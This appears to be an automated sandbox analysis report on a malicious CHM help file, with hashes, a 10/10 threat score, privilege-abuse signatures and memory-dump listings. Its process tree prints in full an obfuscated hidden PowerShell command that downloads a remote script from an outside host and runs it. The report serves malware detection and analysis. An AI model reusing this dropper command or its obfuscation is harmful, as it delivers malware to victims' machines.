4ec6f89771268df9fa94f93179bac128d9bc7bb07359f9006edd721b1f604c96

Analysis

max time kernel
143s
max time network
155s
platform
windows10-2004_x64
resource
win10v2004-20230915-en
resource tags

arch:x64arch:x86image:win10v2004-20230915-enlocale:en-usos:windows10-2004-x64system
submitted
08/10/2023, 01:29

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

QJA_2023.05-22_Q_16-25.chm
Size

11KB
MD5

5f36f1a3b78d286033a6dac8340446ee
SHA1

6659d0703128dc55bd9776f3fd909f301650ae10
SHA256

0a7186e481d3a29e2ff9b60e937e389ea0d2a69aa513f1fb2d66a000601482fb
SHA512

57b734d05a665996258885e4d7a3171e70b30195f65ada04e4487995dc1968266bff8b0f9931750e2894650e0fda98d4c879b21df0fed7aaf046512631f1c825
SSDEEP

96:APcU9sWLZI1rqc4MTz9XTeNq73QNQyd2HyNLqxOb4:APJ9O2M39XQqDIQuOy

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://tijunaitiene.lt/x99.txt

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
41	1176	powershell.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1176	powershell.exe
1176	powershell.exe

Suspicious use of AdjustPrivilegeToken 43 IoCs

description	pid	Process
Token: SeDebugPrivilege	1176	powershell.exe
Token: SeIncreaseQuotaPrivilege	1176	powershell.exe
Token: SeSecurityPrivilege	1176	powershell.exe
Token: SeTakeOwnershipPrivilege	1176	powershell.exe
Token: SeLoadDriverPrivilege	1176	powershell.exe
Token: SeSystemProfilePrivilege	1176	powershell.exe
Token: SeSystemtimePrivilege	1176	powershell.exe
Token: SeProfSingleProcessPrivilege	1176	powershell.exe
Token: SeIncBasePriorityPrivilege	1176	powershell.exe
Token: SeCreatePagefilePrivilege	1176	powershell.exe
Token: SeBackupPrivilege	1176	powershell.exe
Token: SeRestorePrivilege	1176	powershell.exe
Token: SeShutdownPrivilege	1176	powershell.exe
Token: SeDebugPrivilege	1176	powershell.exe
Token: SeSystemEnvironmentPrivilege	1176	powershell.exe
Token: SeRemoteShutdownPrivilege	1176	powershell.exe
Token: SeUndockPrivilege	1176	powershell.exe
Token: SeManageVolumePrivilege	1176	powershell.exe
Token: 33	1176	powershell.exe
Token: 34	1176	powershell.exe
Token: 35	1176	powershell.exe
Token: 36	1176	powershell.exe
Token: SeIncreaseQuotaPrivilege	1176	powershell.exe
Token: SeSecurityPrivilege	1176	powershell.exe
Token: SeTakeOwnershipPrivilege	1176	powershell.exe
Token: SeLoadDriverPrivilege	1176	powershell.exe
Token: SeSystemProfilePrivilege	1176	powershell.exe
Token: SeSystemtimePrivilege	1176	powershell.exe
Token: SeProfSingleProcessPrivilege	1176	powershell.exe
Token: SeIncBasePriorityPrivilege	1176	powershell.exe
Token: SeCreatePagefilePrivilege	1176	powershell.exe
Token: SeBackupPrivilege	1176	powershell.exe
Token: SeRestorePrivilege	1176	powershell.exe
Token: SeShutdownPrivilege	1176	powershell.exe
Token: SeDebugPrivilege	1176	powershell.exe
Token: SeSystemEnvironmentPrivilege	1176	powershell.exe
Token: SeRemoteShutdownPrivilege	1176	powershell.exe
Token: SeUndockPrivilege	1176	powershell.exe
Token: SeManageVolumePrivilege	1176	powershell.exe
Token: 33	1176	powershell.exe
Token: 34	1176	powershell.exe
Token: 35	1176	powershell.exe
Token: 36	1176	powershell.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
1468	hh.exe
1468	hh.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 1468 wrote to memory of 1176	1468	hh.exe	88
PID 1468 wrote to memory of 1176	1468	hh.exe	88

C:\Windows\hh.exe
"C:\Windows\hh.exe" C:\Users\Admin\AppData\Local\Temp\QJA_2023.05-22_Q_16-25.chm
1⤵
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1468
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle hidden $t0='DE5'.replace('D','I').replace('5','x');sal P $t0;$ErrorActionPreference = 'SilentlyContinue';$t56fg = [Enum]::ToObject([System.Net.SecurityProtocolType], 3072);[System.Net.ServicePointManager]::SecurityProtocol = $t56fg;'[void' + '] [Syst' + 'em.Refle' + 'ction.Asse' + 'mbly]::LoadWi' + 'thPartialName(''Microsoft.VisualBasic'')'|P;do {$ping = test-connection -comp google.com -count 1 -Quiet} until ($ping);$tty='(New-'+'Obje'+'ct Ne'+'t.We'+'bCli'+'ent)'|P;$mv= [Microsoft.VisualBasic.Interaction]::CallByname($tty,'Down' + 'load' + 'Str' + 'ing',[Microsoft.VisualBasic.CallType]::Method,'https' + '://tijunaitiene.lt/x99.txt')|P
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1176

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ow5bxfp2.u2b.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1176-17-0x0000022929920000-0x0000022929942000-memory.dmp

Filesize
136KB

Download
memory/1176-18-0x00007FF95CDD0000-0x00007FF95D891000-memory.dmp

Filesize
10.8MB

Download
memory/1176-19-0x0000022929980000-0x0000022929990000-memory.dmp

Filesize
64KB

Download
memory/1176-20-0x0000022929980000-0x0000022929990000-memory.dmp

Filesize
64KB

Download
memory/1176-21-0x0000022929980000-0x0000022929990000-memory.dmp

Filesize
64KB

Download
memory/1176-22-0x00007FF95CDD0000-0x00007FF95D891000-memory.dmp

Filesize
10.8MB

Download
memory/1176-23-0x0000022929980000-0x0000022929990000-memory.dmp

Filesize
64KB

Download
memory/1176-24-0x0000022929980000-0x0000022929990000-memory.dmp

Filesize
64KB

Download
memory/1176-25-0x0000022929980000-0x0000022929990000-memory.dmp

Filesize
64KB

Download
memory/1176-28-0x00007FF95CDD0000-0x00007FF95D891000-memory.dmp

Filesize
10.8MB

Download